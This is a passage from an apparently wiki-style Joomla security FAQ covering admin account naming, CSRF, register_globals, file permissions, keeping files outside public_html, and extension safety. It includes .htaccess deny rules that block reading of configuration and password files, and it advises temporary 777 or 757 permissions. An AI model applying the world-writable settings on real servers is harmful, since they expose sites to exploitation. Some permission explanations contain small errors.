&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
